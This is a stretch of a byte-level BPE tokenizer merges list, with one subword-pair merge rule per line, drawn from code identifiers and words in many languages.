+Ġtw ink +-th umbnails +en ÃŃ +:' ', +Ġblack out +ĠFlo ors +Ġso fas +Ġou i +lesh oot +ĠRa q +- abs +Ġk ra +M ining +sha ft +.set Columns +Cl azz +PRE TTY +.play list +éĸ ¢ +-Sah aran +M ING +ĉ bl +è® ® +j f +DO CKER +hope fully +( ignore +ĠUsers Controller +ĠMitar beiter +ĠL ES +Ham ilton +-m etadata +ĠK K +ikt ig +Ġwoll te +egr ator +] bool +, current +Ġvalue Type +Ġexcav ation +ol and +Ġv erv +/file path +Auth Provider +Ġpro crast +ĉ ULONG +_MEM BERS +Ġup lift +ĠAut onomous +Ġart works +ĠOut reach +Ġp ore +Home page +Dialog Title +ĠGener ating +PAR SE +Ġsem anas +Ġhuman o +JSGlobal Scope +Ġvol te +Ġb ella +(is instance +Ġpl c +\C atalog +Ġeste emed +éĽ · +(s uffix +Ġswe eps +ĉ ORDER +Ġdo ivent +ĠSw arm +ĠComp iled +get Page +AD R +.R ichTextBox +ĠN aming +ag ged +ĠG ANG +r asing +ode led +Ġg ala +ĠJS Name +dd f +Ġill ust +ĠLans ing +[ port +-de ath +Ġdin heiro +ĠE ighth +Ġb ian +st Ã¥ +Ġvers ión +ĠLinear Gradient +ĠHard ing +. *) +ec zy +$ header +Ġv Ã¥r +Un checked +Ġko je +ĠPal adin +() )), +G iving +() })Ċ +Ġd ips +F riendly +Ġport rays +Ġhel ium +Ġinsurg ency +_ex piry +ĠstringByAppending String +Ġa antal +s lope +m ast +.get Integer +Ġ################ ######## +_PIPE LINE +Ġdens ely +Ġmut ating +m idi +ĠSe it +ay ne +NOW LED +ĠDes mond +ĠF Name +ĠN airobi +\ Context +Ġcalc ular +-d en +Ġc ott +] ):čĊ +ĠRecommend ation +ĠRole x +Ġvalidation Result +.p at +Ġn Ãły +ĠRest Client +ĠG PI +ĠAshe ville +ĠO SP +ĠPER MISSION +ÐĶ Ð°ÑĤа +/ notification +K night +_W ord +ĠB ender +rank ing +Ġpart ida +_res ervation +Ì Ģ +Ġm Name +Ġget ch +Ġb orr +Ġdilig ent +Disc uss +æŃ£ åľ¨ +ape ake +ion ed +-N azi +.c um +ĠK ron +=$ ('# +/s ingle +Ġerot isch +ĠV ib +Ġrat ified +Ġconcert ed +ĠREG ARD +Ġdo br +.Driver Manager +' r +Port able +ĉs uite +Ġrel aciones +ĠD op +emplo i +DO B +Ġcr umbs +Ġx ls +_App lication +(': ', +Ġ---------------------------------------------------------------- --------Ċ +m se +Ġber k +ĠReturn Value +ĠBel ly +Ġcam ar +ĠPe ek +els ing +Ġnot ifies +ĠTr istan +ĠG AR +em me +ĠElev ated +_C SV +(ch alk +Ġtw enties +ĠSearch Result += search +ĠMix ing +ý t +Ġrecru iter +ĠIDE OGRAPH +ĠA go +( Operation +$ values +Ġworld ly +ĠRosen berg +ĠConfigure Services +>* Ċ +Ġsn ork +_op acity +ĠinitWith NibName +i ado +A AC +Ġ] ). +; z +_par agraph +Ġnos es +stand s +if r +_m E +I raq +.P redicate +ena ire +]] ];Ċ +Ġun idad +Ġretire es +_h ello +Ġmode le +ĠUIT ableViewController +f write +_num ero +_vis ited +Ġrece be +( Notification +Fant astic +_sub menu +ĠP EM +ĠCup ertino +approx imately +class ed +.Read String +Ġdomic ile +_P W +Ġball park +ĠK ale +con tra +_f avorite +/ of +Qu ite +ĠOT A +Ġacceler ometer +did n +| ^ +ĠRohing ya +ivic rm +ann abin +обÑĭ ÑĤи +or ado +') + +Ha unted +, ID +( UIAlertAction +ur v +_b el +ĠMex icans +/ terms +ĠPaint er +Input Label +ĠV inci +ĠRos ie +\ uc +< Menu +Ġcool ant +(current User +_d ual +) "},Ċ +& p +Ġconver ged +Ġrestr ain +ĠYugosl avia += target +Ġimp uls +ds a +Search Tree +Ġh box +ĠImp ress +§ Ãĥ +get FullYear +(d a +ĠY YS +.al ignment +.Get Text +.token ize +ĠOlymp us +Ġmur ky +ore station +Ġdiss atisfaction +ĉT Array +_ kses +.Add Singleton +ĠStart Time +Ġfan atic +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĉ +Ġentity Type +. override +Ġ ------------- +ĠDat agram +f out +(with Id +Ġ# __ +Ł èĥ½ +ek yll +.f riends +ame leon +Ġz ach +.simple Button +ret orno +Ġkon k +/s mall +ĠQuick ly +un read +Don ate +Detail View +Ġdu a +Ġpenetr ated +OM UX +Ġn ir +_p data +"], [" +Ġlow es +Ġdop ing +Ġas ymmetric +Ġneed less +our cem +Ġup ro +ĠGu zzle +af b +Ġsext reffen +-c ollar +Ġcol ossal +Mon key +n ish +Ġhandle Message +Incre ased +* dx +ĠChatt anooga +f org +ĠOr den +Ġsh ri +ĠV and +Ġ" @" +Image Sharp +ĠWild cats +pon ible +.sc enes +Ġpaint ers +ĠPf izer +ĠZ ah +To Local +ĠFl am +Ġé taient +)) ^ +ĠSand box +ĠTR ADE +Ġchrom ium +Ġac claim +Ġpac man +´ t +) reader +M ari +.Dispatch er +.A DMIN +ĠRem ed +Sw eden +Ġoverl ays +. er +Ġp ang +Ġclean ly +aven port +Toy ota +patch es +Ġv tx +ĠE is +cl ado +ĠR itch +RO LS +Ġh ade +Ġconspic uous +Ġdo cks +(j q +ĠPrem iership +ĠBe z +ĠâĦ ĸ +ĠÑĥ Ñģл +_tot als +Ġprov a +ĠC ue +Ġsa úde +ĠGame Controller +IM IZE +, port +ãĢĤ ( +.C decl +Instant iationException +Ġcoll age +ĠIO C +Ġb ais +Ġon Finish +-st ars +set Size +Ġmog ul +Ġdis illusion +Ġche vy +(S chedulers +( IR +_loc s +Ġcann ons +Ġcancell ing +/b us +Ġbuf io +ĠY ours +ĠPik achu +Ġter me +r Ã¥ +f ahren +Ġowner Id +Ġoblig atory +Ġcul p +Ġacid ity +-m ult +ĠBam boo +Ġ' "> +_g s +Ġcomp il +n ard +-ex c +Ġrh yme +Ġbut to +s ays +ant asy +ë ¸ +Ġcitt Ãł +Ġche g +Time String +Ġpos itivity +ĠD abei +Ġw ang +Ġes cre +" c +ĉv ideo +ĠRank ed +.str ings +>> >( +Ġин ÑĤеÑĢ +Ġrest a +[: ,: +Ġrend re +Ġdes er +J os +Ġdis ruptions +Ġоп еÑĢ +s ampling +sup press +Ġcontainer View +ĠSeam less +Ġair y +Ġon load +.Window Manager +ĠPL A +br aco +.set PositiveButton +Ġp du +Ġg si +ĠC li +_gr adients +Ñı д +ĠWh isper +c stdint +Ġl äng +Ġform ulations +én om +ourn emouth +[$ _ +Ġordin arily +.set Username +Ġfacult ies +MIT TED +/ values +Ġwe ir +ĠA pt +M Z +ĉc f +uck en +ĉĉĉĉĉĉĉĉ ĉĉĉĉĉĉĉĉĉĉĉĉ +def ense +[i Var +ĠBusiness Exception +Select ors +(co ordinates +ĠRes ets +ĠDr inks +ole ans +(st ypy +_IO C +.x xx +ĠSl ater +ĠBel ize +Ġ/ ************************************************************************ +add in +_ep isodes +Ġis chem +legal ArgumentException +D anny +Ġp ared +.code haus +ĠAss y +ĉ Rect +â ŀ +.list a +Ġв аÑĪ +Ġv ets +HW ND +ison er +Ġx o +Ġor ally +ĠSt mt +.r nn +ĠD PI +ĠStr ikes +.setViewport View +Ġèĩª åĬ¨çĶŁæĪIJ +Y ELLOW +GL enum +part ners +ĠImp licit +Ġtak o +âĢĻ elle +Ġerm ög +total Count +G il +ĉ work +Ġpr atic +in ati +ab ies +ĠSk inner +Ġspir ited +Ġpancre atic +Ġh df +' em +Ġpsych osis +olic it +Ġ" {" +_at ual +Ġé lect +TE AM +Ġd ak +ĠSW AT +.Fragment Manager +Ġprovision ing +l ifetime +_EXTENSION S +ĠC ASCADE +Ġ! [ +(K P +Ġv em +ĠInterr acial +'] },Ċ +sp acer +_k v +W arehouse +R DD +_f sm +.Stretch Image +, Yes +ĠRefuge e +ĠBr inging +Ġv álido +.inter section +Ġsp ooky +_port al +Ġmo th +ĠZ odiac +ĠSOC IAL +M imeType +'] }} +_Bl ue +Ġbot anical +Ġfr ags +Ġfamil ial +- du +Ġse izing +(block s +.r d +.check NotNull +Ġmis er +Ġmax x +ĠK nee +View Item +Inner HTML +D anger +(( __ +Ġprz ypad +create Url +** , +ĠDecor ating +ATEG Y +?> / +.Design er +hex digest +ĠEvery where +all eries +.TEXT URE +.Block s +z ell +Ġpre ço +S uddenly +input Email +(s ync +.b d +gold en +> '); +ĠDick inson +>> (Ċ +ĠQUE UE +Ġget Column +ĠS AND +.p iece +lic er +Fl utter +Ġget Version +Ġresource Id +og l +ÅĤ aw +.Br anch +ĉ web +Ġfr amerate +PP P +Ġfr ay +C NT +Ġinformat ie +'] čĊčĊ +ne as +Header Code +Ġæ ¸ +Ġtr g +raw types +H onda +Ġmark eter +Ġrequest Data +ĠP g +ĉ not +Ġpage Info +Ġakt uellen +ãģķ ãĤĵ +ĠA MS +push ViewController +ĉ AL +Ġv ests +produ ce +-m ême +ĠRah man +F unny +E Z +_ Valid +Ġsquad ron +Ġl ash +Ġ irm +ias co +ĠPar an +Ġpet ites +ĠDec ay +Ġun initialized +priv ileged +Ġm bedtls +å¤ĩ 注 +Ġ^ . +Ġec static +D etroit +Ġpart en +Ġsou venir +.get Login +моÑĤ ÑĢ +en ção +ĠmÃŃn imo +ĠAccess ed +ri ó +M ic +ĠV ocal +.Set String +Ġmens ajes +åĢ į +Ġattr avers +ĠA ph +Ġ' );čĊ +ünd e +Ġench anted +ĠRoot State +ĠCLOSE D +ĉĉĉĉĉĉĉĉ čĊ +Ġcal iente +or ris +Ġphysic ists +h wnd +_v i +Ġráp ido +Ġcapital ized +ed By +Ġmach ining +Ġhub by +ĠSt acy +.B us +dr ink +H ur +Ġprop ia +Unit Test +Ġmiscon ception +__ ));Ċ +/d c +ĠMay weather +_m C +.create From +ĠQ Painter +rops ych +inn itus +ay as +Ġg eg +(d w +Ġus ado +Ġtrick le +Ġann ihil +ĠP asta +Ġ++ Ċ +(Expected Conditions +.post Value +ic ap +ĠDon etsk +_s oup +-p ublish +ĠP b +ment ions +AC CEPT +.P ull +,âĢĻ âĢĻ +Ġret arded +_AT OM +ĠTermin ator +-c ourt +ĠCLLocation Coordinate +Ġrever ence +ĠS SC +ut ely +ĠW ON +ĠG SL +fre i +.get Longitude +Ġopen FileDialog +.B utter +- important +_M ANY +ĠG ong +âĢľ How +Ġg orge += msg +ĠEz ek +create Command +: checked +Ġinf ographic +.W EST +Dir s +Ġguard a +Ġbeet le +< small +- android +Ġcred itor +ĠM éd +Ġfinal ist +Ġab l +ne v +_inter action +ĠMonter ey +j ah +Ġcand ies +ĠQu incy +èª Ń +Ġbatch Size +ak it +Ġo be +(p ara +Ġexperiment ed +Ġcouncill ors +Ġcl ashed +s qu +-st rokes +ĠG K +ĠEx pires +Ġprosec utions +ĠCreat ures +Ġy ö +x lim +_IM P +Entry Point +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +.Default CellStyle +Ġbre ve +ĠBrit ann +Ġsweat y +Ġle th +Ġflash back +per manent +ĠJ DK +_D etails +E uro +p pt +Ġrich TextBox +/ board +Ġtr ance +.c ycle +'); ");Ċ +Ġtox in +_de init +Ġover arching +Ġconfig parser +ĠKaw asaki +.th umb +Ġplay a +ĠJose f ++ _ +Ġzero es +Ġa up +ĠH ari +comm itted +N it +.file Path +ĠDis abilities +man ufact +-al igned +.RE SET +Ġrust y +E y +Ġou sted +cos a +Struct ured +.get D +Ġs ábado +> Loading +_m A +.get Random +bl ings +Ġchees es +tt i +. âĢ¢ +ĠBurg ess +ender it +. ',čĊ +(" "+ +ac b +% p +index ed +_pred icate +nes ia +Ġb ied +ĠC IT +( Pos +_r adi +ä»· æł¼ +B iz +ĠAdoles cent +Ġvi ên +c ycl +_C ancel +Ġcon clusive +Ġappell ate +inform atics +S J +Ġelect ive +role Id +Fetch er +ĉ Command +(" (% +Ġf art +IL A +get Block +A USE +Ġд ан +ĠAr te +Ġnot ifying +Ġge le +.s ame +ĠReg el +ĠBa ÅŁ +.c reation +ĠV N +_comm unity +Ġuns ustainable +SE X +Ġgrid Size +res cia +avers able +(', ')[ +ĠPh elps +á»ķ i +ANCE LED +- IS +.run ners +ĠSt okes +.P rodu +Ġwh ipping +_ac quire +Ġinvestig ación +f ried +.copy With +ĠHard cover +- Se +áŀ¶ áŀ +inv itation +les ai +ĠD orm +ĠÑģпиÑģ ка +Ġconcaten ated +oph il +Ġthink er +/font awesome +ĠLe opard +Ġ"/ ");Ċ +Ġresidual s +ĠMic rowave +Ġconform e +th rop +Ġdis emb +ĠO MG +ĠDisc ipline +ĠAc robat +/re pository +df a +_M ED +buf io +Ġméth ode +_H OLD +ias i +_ legacy +) ččĊ +æ£ Ģ +Get ProcAddress +Ġy ay +ot ence +order id +-t w +Ġdear ly +In coming +/ il +Ġneu rop +uc z +); čččĊ +ĠInnov ative +Ġprof und +ig mat +Selection Mode +re levant +.G O +Ġbru ises +Ġs ach +ode f +Ġre imb +/d esktop +-s pot +und ance +Ent ropy +\ core +Ġsug er +ĠM vc +ĠGN OME +_ind x +ĠYY STYPE +ĠMat lab +ĠC IF +Ġ* )) +Ġproduct List +ĠAl right +ac emark +ÑĤи в +mod ification +int ernational +Ġhom ers +Ġdict s +ĠQ Font +.SQL ite +Ġtransplant ation +ĠMessageBox Button +ĠEl ves +'] ])Ċ +(Q Icon +Ġcin emas +CO ORD +- China +Ġkh ẩu +æĪij çļĦ +Ġskull s +Ġpain staking +f ce +.XR Label +Ġspec ifier +Ġpref erring +/ activity +( Photo +á lt +.l ot +' '. +ann once +.google code +-p df +ĠP oke +_A CL +Ġend owed +dis cover +.om g +Ġwood land +.M agic +Ġvol ont +Not Allowed +Ġch ave +BM W +',' =', +ĠS IX +æĪij 们 +Ġkos her +Ġaspir ation +int l +_ref ptr +'+ Ċ +ment or +.cl ub +Window State +.A RR +Ġz za +Ġmessage Type +.e qu +Th or +Ġin just +Ġg ums +Ġborder Side +//// / +ĠTrans mit +Ġbuf size +Ġh ak +Ġell as +R ANDOM +ĉm c +Ġpe a +ek o +document o +Ġhyster ia +Ġaren as +Ġgun men +Ġm ike +Ġimp unity +atis ation +_Z ero +_COMP ANY +ĠG ors +Ġuse Class +( redis +ĠRUN NING +ĠB air +vel te +Ġ',' . +аÑĤÑĮ ÑģÑı +ö st +encode URIComponent +_re strict +Ġdec als +ĠPed ido +Ġalter cation +Dis plays +ĠApp licants +C US +Text area +ĠAng ola +.f uture +ĠUS HORT +Ġsuppress ing +Ġset zen +AP olynomial +Ġto ch +Ġhall mark +Ġ$ $$ +ĠCHAR SET +.r pm +ĠD ich +---------------- ---- +_p arm +è¿ ĺ +acc iones +h ait +WAR DED +_r outing +ĠN OM +Ġen clave +ĠLot to +ĉf r +complex Content +ĠBall ard +k ube +/w in +.getColumn Model +_RE PLACE +Header Value +Ġest udiantes +Ġap is +Ġb pm +ĠType Name +And Get +rit a +Pl ans +> Note +Ġfet isch +Ġton ed +_g oto +ons ense +Ġm olds +Ġinfiltr ation +ĠGuerr ero +ub bo +ck i +($ (". +_ activities +(ch anges +Ġof App +ĠKe pler +ĠD emp +ĠCont inent +.T icks +ĠUn signed +ĠJah res +Ġfresh men +ĠArch ived +ĠкоÑĤоÑĢ Ñĭй +Ġ' :: +T utorial +C c +Ġtable LayoutPanel +from Json +.level s +_trans ient +Ġendors ing +ĠD IC +la uf +Ġsh red +_E MIT +ific antly +AL A +/ proto +Ġnarrow ing +U tc +Fact ors +Ġsent ient +æŀ IJ +lix ir +ĠC ROSS +met eor +Ġgro in +Ġm db +ĠRot terdam +Ġcom ida +ĠOp Code +ĠDefault Value +Permissions Result +Ġheter ogeneous +Ġm oot +Ġde ceived +-in dependent +ĠObject OutputStream +Ġover power +.d up +Ġl db +Ġdomest ically +Ġbest ellen +Ġlo v +ĠContract ors +Tri angles +Ġfod der +Ġfilm es +ä¼ ģ +Ġrev olver +Startup Script +/ validation +ĠResource Type +i ÅŁ +ĠL az +f ef +Ġlst m +{ * +. attachment +.h its +ew ith +DO G +Al abama +Ġmedium s +.m Context +-c ols +åı ĭ +.not ice +Ġat tn +ĠP acking +ĠL n +_COM PLEX +/ Users +.sav etxt +ĠR ounds +?,?, ?,?, +Ġing l +ĠR OC +_f emale +ĠSt ard +]] ; +Ġwrest lers +Ġtorrent s +Ġsin h + ĊĊ +ë³ µ +s ense +how ever +.Ph ysics +Inf rastructure +ĠSac r +F el +ĠD ISTRIBUT +é ments +ĠValid ates +################################################ ############ +Ġ| / +Ġes l +Ġré seau +ĠB ip +BY TES +_W ATER +Turn ing +EL S +Ġj uxtap +Ġlesb ische +ý ch +( Unknown +Ne o +@ JsonProperty +Ġal umnos +ĠRaq qa +ime i +.get Bounds +.Mouse EventHandler +#### ### +Generic Type +/c ms +Ġturn o +Ġм ин +Ġfolk lore +ĠE vo +Ġconduct ivity +Ġle ben +Ġgear box +-v s +ĠÏ Ĩ +Ġdrink ers +Ġcon exao +ĠTe eth +Ġget Arguments +ĠR AT +ent ious +E duc ++ W +ĠInstitution al +ĠB ord +is Equal +(p wd +Ġign ited +ĠR ousse +Ġimpact ful +ĠM alk +Ġg eral +ĠP ivot +Ġa zt +Ġcsv file +ĠR ope +ĠSOL UTION +ĠArbit rary +Ġlet to +.Mouse Adapter +Ġ} }} +ĠSail or +der a +Put ting +Ġconcentr ates +Ġauth Domain +âĢĿ çļĦ +-f inals +, strlen +Mu on +ĠOrd inary +fire fox +ĠLa TeX +ĠH und +engine ering +/ blue +ed TextBox +(" "); +ĠC DDL +ke pt +ĠGet String +K ir +() =' +ĠO CD +ant ium +$ menu +ĠAppalach ian +Secret ary +ë¥ ĺ +ี ย +Sem antic +Ġ* [ +est one +ung kin +Max Y +-t one +"} ;čĊ +_P art +< Member +tr am +Ġtrans istor +Ġ---------------------------------------------------------------- ----------Ċ +ĠDes de +Ġright ful +ĠCorn el +æ ij +.H OUR +Ġsidel ined +ref errer +m aze +Ġhol ster +Ġcripp led +ĠDate Formatter +oph age +_m D +Ġdes elect +ra ud +ĠPK K +row Data +Ġlock smith +.res ponses +(product Id +_ST MT +Key Type +.Th en +z ee +Ġcr t +ĠGrand ma +@ Resource +Ġbit wise +-c mpr +ãĢĤ www +zeit ig +& display +Cart Item +- No +Ġnum éro +Ġm aur +Ġinst ancia +ĉd t +_n pc +Ġskate board +âĢľ All +ĠCrow d +Ġä n +Ġb raz +ca e +yn et +/p m +/s creen +OPT ARG +ĠV Box +Ġle opard +_g reater +c pt +< dd +Ġmechan ically +osp els +) f +.l wjgl +.get Port +ĠP REF +.Add Transient +pp ard +Ġí ļĮ +Ether net +Ġsal ine +(level s +Ġservice Provider +.A ngle +alt itude +illa ume +Ġs cape +_CAL C +_ quest +ĠDiss ertation +ĠE DM +-C ds +Ġhon orary +st ops +Ġsub dir +ĠV H +ĠChe at +Ġright fully +Q E +.Write Byte +fig ures +enn ie +( DBG +Ġvoks ne +Ġexp ended +UN ICATION +il inx +ĠRec ap +_ verts +Ġtra umat +Ġget Player +Ġverb ess +Ġcultiv ating +Ġiniti ator +Th ông +find First +_per ms +Ġbu c +Ġ""" čĊčĊ +T YPES +object Manager +(Configuration Manager +Ġtim id +Ġsnap chat +Ġcon seg +ĉd istance +_right s +_D es +ĠF lesh +- ver +Ġa fl +fra uen +Ġblas ph +ĠQual ität +ma f +Monitor ing +.D iff +Ġshore line +Ġresponse Body +mem set +< decimal +Smarty HeaderCode +Ġin sets +ĠBinary Tree +amed a +Ġn ihil +ĠN ay +ym ology +ĠW G +Ġt api +ĠInst alled +m aintenance +)} "Ċ +ĠX O +-per iod +s ar +Ġning una +ORM AT +.set PrototypeOf +ĠK b +ĠHen rik +ét ique +ĠLah ore +ĉ Address +Ġmel ts +N y +_adv ance +Ġveloc idad +Ġalum no +Ġsanit izer +Ġph ishing +ĠCom et +Ġch iar +ĉs pec +trim med +(state arr +on nen +Re venue +L ens +Ġcha ired +ĠAss umes +Tr ash +_un set +\ Bridge +Point Size +ĠPol ic +Ġsex uales +ĉd fs +ĠWide String +Ġaccru ed +Y W +_S CHEDULE +Ġk ite +Ġparach ute +[ table +Ġactive ClassName +.Qu ad +Israel i +ĠÅ ĵ +Ġho og +Ġch á»ī +ew ear +Ġtire lessly +set Error +.get Amount +.set Items +ĠM anson +ĠBay esian +_F lag +AC HER +/ original +Ġimm ac +ĠLos ing +' >ĊĊ +L ic +ĠMir age +ĠAssembly FileVersion +Te V +ĠValue EventListener +-s olving +Th o +rou lette +_W P +Ġunint errupted +Ġfield Type +.T yped +Ġam our +Ġmock ery +(v ol +ĠSub committee +ĠR uf +ero x +:UIButtonType Custom +ĠBl ur +Ġwy kon +nc es +ASH BOARD +!! ");Ċ +Ġmurder ers +.d aily +ĠDI AG +j ing +Ġdol phin +Ġl òng +Ġb ö +ĠV ocabulary +.St Object +') "> +Ġz un +Ġscrim mage +tr éal +ĠL ig +[ vi +C ole +Ġfrost ing +.Pl ayers +- translate +Fe els +=\" / +.Butter Knife +Ġ?> ;Ċ +Ġav i +inn ie +.F ailure +Ġsp indle +Configuration Exception +_h op +Ġpos ição +ĠA wait +UIImage PickerController +ĉ day +Ġgen om +C ab +ĠÑĢ ÐµÐ·ÑĥлÑĮÑĤаÑĤ +OR IGINAL +Ġejac ulation +(t cp +SE COND +Ġton ic +ĠList Box +Ġ ĉĉĊ +() >Ċ +Ġqu atre +ượ ng +with Errors +.M aybe +, â̦ +token Id +_UN DEF +Ġfresh ness +ĠAmend ments +.map box +.C V +(b log +_get time +. quest +s parse +Ġres ale +Ġenthusi astically +ĠProstit utas +W a +C argo +.Parcel able +SENS OR +ĠRy u +La ughs +_N ative +/ pg +yst s +Ġphot oc +ç® Ģ +ado pt +.spec ies +conc iliation +Adjust ed +.Firebase Auth +ut tle +ord ination +Ġm unch +ĠSt ake +.p ing +ank er +(QString Literal +Ġsub script +ĠĠ ĉĊ +ĠM CC +_C md +se xy +i ou +ĠM ANY +Ġn anny +TR AIN +Ġflour ishing +ĠW atches +ĠQ Map +ĠF erm +Ġwas m +ĠA bed +_ UD +ĠGlass es ++ v +Att end +.Ch ain +Ġdec ency +ĠSupplement ary +h unter +-t xt +Ġ" }";Ċ +.set WindowTitle +(" +Ġmasc ara +( Profile +åĬŁ èĥ½ +imit é +Ġwild fires +- ROM +.is On +(group Id +Re pair +accum ulate +Ġ< ", +Ġhand written +Ġach eter +ĠM GM +ĠIr ma +->{ _ +ge e +cr iminal +Ġèĭ¥ è¦ģ +Ġmoment arily +") != +_l it +Ġexpires In +." ). +éķ¿ åº¦ +Ġfr ække +vl c +Ġor bs +), $ +Ġvent ured +/ >\ +char m +N uitka +eld ig +aton in +W itness +-l at +Ġset Hidden +Ġrelic s +Ġcons ulate +. IGNORE +" After +Ġset Address +Ġbeste ht +Ġ'' )ĊĊ +.x axis +Ġser ão +Ġmis led +_UN IFORM +ĠV IA +inc r +Ġzen ith +Ġvis cosity +Ġthin ly +.get SharedPreferences +.Error Code +"), " +ĠMillion en +Ġ/> )Ċ +Scroll Indicator +-se eking +ĠPOLIT ICO +as ca +_r l +N avig +(full file +Ġsol itude +Ġju ven +Ġhaul ing +ĠMac ros +ĠG ry +Ġexerc itation +ĠATT ACK +Tick Count +Ġr ites +Ġdo e +Particle System +Ġsl u +Window Text +ĠClass Name +Ġsl ander +ĉ Port +j ong +? a +.D ial +âĢĶ at +$obj PHPExcel +Ġso ar +EN N +appe ared +Ġquot id +em achine +Ġn ip +Ġmicro time +ĠAl ma +; ! +---------------------------------------------------------------- -------------------------------- +ĠPass age +Ġdump sters +ĠEx clude +Ġsuggest ive +ĠCircularProgress Indicator +_cl r +Array Type +ILL A +Elapsed Time +Dr iven +Ġresource Name +ĠG arrison +ser ir +-a head +Ġp innacle +ĠEs presso +S parse +Ġass ays +ĠGirl friend +im id +]=' \ +ONGL ONG +Ġportray ing +L ane +Ġb úsqueda +Ġrein forcements +ĠSpread sheet +ĠArray Collection +, arr +light box +ic ana +< " +build ers +K id +ĠMat SnackBar +EX PR +od cast +ĠFound ations +Ġind s +=' ${ +F izz +-function al +(work space +Ġstem med +_p atches +ĠJar vis +READ ING +Ġdisrespect ful +ĠQ Dom +Ġ$ {Ċ +est atus +Re ached +! .ĊĊ +IL T +ĠN DEBUG +ĠCour age +birth date +ĠT ing +Ġutil izado +án chez +Out door +Ġhand guns +Ref Count +É Ļ +rom o +Ġt ts +.S he +ĠP ane +ãĢij, ãĢIJ +ĠIO CTL +/ black +ins cription +Ġbi opsy +ĠTime Interval +.Test Check +ĠGUI Style +ĠCap ability +ĠBeit rag +don nees +T reatment +.back up +Ġsign ings +ĠB oca +dr m +.M AIN +Ġgo ede +ĠMark up +G REE +ĠBase Service +.C reator +Ġj ails +ĠK ahn +Ip Address +ACH I +Ġinhib ited +Ġ@ $_ +ĠAss ass +Ġenvi ado +Hero es +ÐŁ еÑĢ +ĠM aven +.l s +Ġ ive +| RF +Ġresize Mode +Ġrum pe +_attach ments +T U +Ġtact ile +Attempt ing +Ġro bin +y aw +Ġmerc enaries +ĠHab itat +end date +Ġo xy +ĉR andom +oh on +Is Null +ĠValidation Result +ãĥ ļ +um bed +pp v +Ġar p +ich ick +_r nn +ĠT FT +Tex Image +" On +ĠSam pler +top l +Ġj ane +y ling +ĠUN ICODE +Tab Index +< {Ċ +s uspend +uv ian +, application +ол иÑĩеÑģÑĤво +y at +ez ier +ĠCH UNK +ĠAd ler +/ Add +ĠKey Value +Ġspos ób +Sam pling +ch ers +_AM D +R u +.Must Compile +N ation +Ass oc +Man aging +ĠEng l +_G B +Ġsucc inct +Ġdis liked +ĠI ke +Bullet in +_ARCH IVE +Prop osal +Ġjog ging +.C REATED +Ġch ol +è£ ħ +Į ¨ +-p ush +Ġreserv a +core v +è tre +TH R +Ġincompet ence +Ġchar isma +æĦ Ł +Ġ" == +BT N +ĠLoc ator +iv et +('. ')Ċ +Ġfor IndexPath +ô me +Ġcapac it +w aters +ĠWR ONG +ho a +ĠM IPS +Ġem iss +ĠJacqu eline +(c mp +Ġe ens +Le o +.tim ing +CLUS ION +Ġ(" - +åĵ Ī +.k ode +ĠUnd ert +Ġbew ild +ĠEss en +.h d +Ġren egot +Ġm ower +Ġl sp +Ġpen chant +Ġman oe +Ġag li +Ġrec al +ĠOPER ATION +(^ )( +ĠÎ ½ +ĠSc oped +Ġ@ "Ċ += label +[ loc +Int l +ĠN z +table t +.Column Name +Ġscreen Size +DB us +co oked +- registration +âĢľ One +-n on +ĠwiÄĻ c +Ġcost a +.add Tab +. conditions +ĠH ess +MEM ORY +ĠAval anche +() }}Ċ +Ġtri plet +Ġl abyrinth +ĠNode List +ĠNY T +Ġy eni +d ff +.Html Controls +AV IS +/ Math +Ġmem cmp +Ø§Ø ¡ +оÑģ ÑĮ +c rap +(p ages +Ġl xml +ĠQ DateTime +_t cb +Ġopen id +Ġsyn aptic +ĠMD MA +(s lug +igm atic +en or +Ġcr amped +G OP +Ń IJ +.is File +ĠD ifferential +Ġ=" ";Ċ +ĉĉĉ ĠĠĠĠĉ +ĠC ooke +ĉU FUNCTION +Ġpersever ance +Relative Layout +IMPORT ANT +Ġex on +Ġо н +ib ase +(C ONT +n ovation +ä½ ķ +[ sub +Admin Controller +HTTP Header +cre ar +ĠN IR +ĠDrop DownList +Ġval ide +Ġde hydration +. '] +(W IN +Ġ... \ +Ġphotos hop +ĉ Init +_c ou +Ġtime Zone +dar win +rom atic +Navigation ItemSelectedListener +br ates +] --;Ċ +Ġtraged ies +ĠPed iatrics +SM ART +-A PI +ĠMessage Lookup +ĉ vo +Ġprejud ices +Ġm A +U ps +ĠMISS ING +ĉ ad +C ream +ĠT b +ĠMon a +_ ghost +ĉt ypes +Em b +ĠDocument ary +');ĊĊ ĊĊ +Ġl up +_ Reference +ĠB ATCH +Ġintertw ined +< Cell +ĠCab r +n ation +Ġis Connected +.remove Listener +Ġcon g +_t i +ĠSil icone +Ġê²° ê³¼ +ĠW AN +ĠG ibraltar +/ response +ĉp erson +ch ants +V IP +em ergency +Pixel Format +- Am +Ġsouth western +_pl l +if ers +_ON CE +ĠF ayette +.nc bi +_P anel +.Q ual +Ġpol ys +Ġcreate StackNavigator +� t +Ġlay offs +ĠBl anco +Fe at +ĠV imeo +_ch i +_l ifetime +POINT S +, private +Ġunb earable +print ing +Ġc gi +.B ACK +Ġintern s +ĠNew ly +inf eld +( IB +ĠK ata +ĠDef endants +Th r +é¢ Ħ +_V F +FFFF FFFF +Ġdavid jl +Ġbitter ly +S uggestions +.set Cancelable +FIN AL +ason s +_rw lock +_WRAP PER +Ġhapp iest +(row Index +ós ito +TOT YPE +Autom ation +Log File +Ġcons olation +ãĥ Ģ +Ġt êm +Ġpr er +rg yz +ĠG eg +ĉd to +.default Value +ĠK ami +ĠA SE +optim ized +Ġíı ¬ +Ġorigin ates +err Msg +Ġespa ço +(S YS +ĠMc B +d ance +_det ected +Ġfr ü +ĉĉ ĠĠĠĠĉĉ +< Date +(com b +ĠDec ide +\ Field +ĠProp osed +R ib +Ġdis likes +ĠW ien +ĉ Document +Ġtr af +Ġst oria +ĠT ells +') == +C ri +( VALUE +ĠBurn ett +, void +Ġdan h +Ġc cp +Block chain +:"- "`Ċ +IC lient +IS ODE +Iss uer +) }čĊ +, but +ĠU ph +( Sub +Ġtélé phone +ĠonData Change +Ġmarsh aller +-an alytics +, content +Ġdeb acle +_Value Changed +Ġfa una +Ġ# => +Ġf oyer +'util isation +ĠMü ller +ĠFet ish +Ġdefault 